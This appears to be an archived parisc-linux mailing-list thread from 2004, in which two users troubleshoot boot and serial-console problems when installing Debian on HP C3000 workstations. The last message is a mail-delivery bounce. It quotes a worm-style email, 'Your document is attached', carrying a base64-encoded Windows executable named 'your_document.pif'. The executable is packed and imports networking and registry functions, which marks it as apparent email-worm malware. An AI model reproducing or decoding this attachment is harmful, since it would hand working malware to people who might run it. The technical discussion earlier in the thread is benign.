X-List-Received-Date: Thu, 18 Mar 2004 22:08:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21131

Hello,

Have you tried booting the standard 32 bit kernel? There isn't really a
reason to use the 64 bit kernel unless of course you're one of those
lucky people with more than 4gb of memory  I myself have a C3000 and
Debian installed on it without a problem. I can't use the framebuffer
since it's a FX4. I take it you'll be using the serial console? Or did
you fit them all with Vis-EG cards?

Regards,

Marnix van den Berg

Adam Parrish wrote:

> Good Day,
> 
> I am attempting to load Debian on a good many of our C3000 Visualize
> workstation per user request. Unfortunately I am stumbling upon a
> "Common Error" while booting. 
> 
> When booting without altering any of the boot options from the pdl I get
> a High Priority Machine Check error:
> 
> (HPMC): Code=1 regs=102F3080 (ADDR = 00000000) 
> 
> When using the 64 bit version by editing line 0 to have vmlinuz64 on it
> so that it boots the 64 bit kernel I get the error that I need to switch
> the console. 
> 
> I have tried multiple consoles but am unable to get it to show me the
> linux interactive boot screen. The LCD on the front of my computer leads
> me to believe that the kernel booted though since it says Linux 2.4.17. 
> 
> I have skimmed the Mailing List and I apologize if this is a repeat,
> although none of the messages I read reflected my problem or the
> solution. 
> 
> Any help or suggestion in debugging this problem would be greatly
> appreciated. 
> 
> Thanks and Regards,



From - Thu Nov 08 21:31:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marnix van den Berg <marnix.vd.berg@hccnet.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Common Console Problem booting HP C3000 From	CD-Rom
Date: Thu, 18 Mar 2004 23:32:27 +0100
Lines: 83
Approved: news@gmane.org
Message-ID: <405A237B.1070109@hccnet.nl>
References: <mailman.112.1079643013.2398.parisc-linux@lists.parisc-linux.org>	
	<1079643703.11454.13.camel@lugh.ecew2k.ncsu.edu>	
	<405A1FBE.5040609@hccnet.nl>
	<1079648041.11454.87.camel@lugh.ecew2k.ncsu.edu>
Reply-To: marnix.vd.berg@hccnet.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623284 7047 80.91.229.3 (22 Nov 2014 02:28:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: marnix.vd.berg@hccnet.nl  Thu Mar 18 15:24:17 2004
Return-Path: <marnix.vd.berg@hccnet.nl>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp10.hccnet.nl (smtp10.hccnet.nl [62.251.0.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99868488D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Mar 2004 15:24:16 -0700 (MST)
Original-Received: from hccnet.nl by smtp10.hccnet.nl
	via fia65-26.dsl.hccnet.nl [62.251.26.65] with ESMTP for
	<parisc-linux@lists.parisc-linux.org>
	id i2IMOFF1022841 (8.12.10/2.04); Thu, 18 Mar 2004 23:24:15 +0100 (MET)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
In-Reply-To: <1079648041.11454.87.camel@lugh.ecew2k.ncsu.edu>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Mar 2004 22:24:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21132

Adam,

If you've got no keyboard connected it should switch to serial console 
automatically and afaik it's just a normal 9600 8N1 line. I had it 
hooked up to my PC without problem (admittedly using Windows 
HyperTerminal, shame on me). You might check if someone has changed the 
serial line settings.

Frankly, I'm a bit puzzled you're having trouble booting. The stock 
kernel from CD's worked without a hitch for me. Have you got any 
non-standard hardware in it? Extra Scsi stuff, network cards, etc..?

Regards

Adam Parrish wrote:

> Marnix,
> 
> I assume that installing over the serial console is the best way since I
> have no special hardware for them. I have a null modem cable connected
> to my laptop with minicom right now and I am trying to get it to
> initialize that terminal now. 
> 
> The 32 bit kernel barfs on me when it boots with the HPMC error. Is
> there anything special I have to set my Console line to in the PALO
> bootloader to use the serial connection, or in the Configuration utility
> before I boot?
> 
> Cheers,
> Adam
> 
> On Thu, 2004-03-18 at 17:16, Marnix van den Berg wrote:
> 
>>Hello,
>>
>>Have you tried booting the standard 32 bit kernel? There isn't really a
>>reason to use the 64 bit kernel unless of course you're one of those
>>lucky people with more than 4gb of memory  I myself have a C3000 and
>>Debian installed on it without a problem. I can't use the framebuffer
>>since it's a FX4. I take it you'll be using the serial console? Or did
>>you fit them all with Vis-EG cards?
>>
>>Regards,
>>
>>Marnix van den Berg
>>
>>Adam Parrish wrote:
>>
>>
>>>Good Day,
>>>
>>>I am attempting to load Debian on a good many of our C3000 Visualize
>>>workstation per user request. Unfortunately I am stumbling upon a
>>>"Common Error" while booting. 
>>>
>>>When booting without altering any of the boot options from the pdl I get
>>>a High Priority Machine Check error:
>>>
>>>(HPMC): Code=1 regs=102F3080 (ADDR = 00000000) 
>>>
>>>When using the 64 bit version by editing line 0 to have vmlinuz64 on it
>>>so that it boots the 64 bit kernel I get the error that I need to switch
>>>the console. 
>>>
>>>I have tried multiple consoles but am unable to get it to show me the
>>>linux interactive boot screen. The LCD on the front of my computer leads
>>>me to believe that the kernel booted though since it says Linux 2.4.17. 
>>>
>>>I have skimmed the Mailing List and I apologize if this is a repeat,
>>>although none of the messages I read reflected my problem or the
>>>solution. 
>>>
>>>Any help or suggestion in debugging this problem would be greatly
>>>appreciated. 
>>>
>>>Thanks and Regards,
>>
>>_______________________________________________
>>parisc-linux mailing list
>>parisc-linux@lists.parisc-linux.org
>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:31:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MAILER-DAEMON@rzs-hm.si (Mail Delivery System)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Undelivered Mail Returned to Sender
Date: Fri, 19 Mar 2004 07:20:45 +0000 (GMT)
Lines: 397
Approved: news@gmane.org
Message-ID: <20040319072045.2AED44E566@hmljs.rzs-hm.si>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="1232A4E50F.1079680845/hmljs.rzs-hm.si"
X-Trace: ger.gmane.org 1416623285 7049 80.91.229.3 (22 Nov 2014 02:28:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Fri Mar 19 00:20:53 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hmljs.rzs-hm.si (hmljs.rzs-hm.si [193.2.208.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB3774959
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Mar 2004 00:20:51 -0700 (MST)
Original-Received: by hmljs.rzs-hm.si (Postfix)
	id 2AED44E566; Fri, 19 Mar 2004 07:20:45 +0000 (GMT)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Mar 2004 07:20:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21133

This is a MIME-encapsulated message.

--1232A4E50F.1079680845/hmljs.rzs-hm.si
Content-Description: Notification
Content-Type: text/plain

This is the Postfix program at host hmljs.rzs-hm.si.

I'm sorry to have to inform you that the message returned
below could not be delivered to one or more destinations.

For further assistance, please send mail to <postmaster>

If you do so, please include this problem report. You can
delete your own text from the message returned below.

			The Postfix program

<metod.kozelj@rzs-hm.si>: host 172.19.0.55[172.19.0.55] said: 550 5.1.1 unknown
    or illegal user: metod.kozelj@rzs-hm.si (in reply to RCPT TO command)

--1232A4E50F.1079680845/hmljs.rzs-hm.si
Content-Description: Delivery error report
Content-Type: message/delivery-status

Reporting-MTA: dns; hmljs.rzs-hm.si
Arrival-Date: Fri, 19 Mar 2004 07:20:32 +0000 (GMT)

Final-Recipient: rfc822; metod.kozelj@rzs-hm.si
Action: failed
Status: 5.0.0
Diagnostic-Code: X-Postfix; host 172.19.0.55[172.19.0.55] said: 550 5.1.1
	unknown or illegal user: metod.kozelj@rzs-hm.si (in reply to RCPT TO
	command)

--1232A4E50F.1079680845/hmljs.rzs-hm.si
Content-Description: Undelivered Message
Content-Type: message/rfc822

From: parisc-linux@lists.parisc-linux.org
To: metod.kozelj@rzs-hm.si
Subject: Re: Re: Document
Date: Fri, 19 Mar 2004 12:51:26 +0530
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0002_000078CD.0000722D"
X-Priority: 3
X-MSMail-Priority: Normal
Message-Id: <20040319072032.1232A4E50F@hmljs.rzs-hm.si>

This is a multi-part message in MIME format.

------=_NextPart_000_0002_000078CD.0000722D
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Your document is attached.

------=_NextPart_000_0002_000078CD.0000722D
Content-Type: application/octet-stream;
	name="your_document.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="your_document.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA
APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE
AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA
EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg
AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA
AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
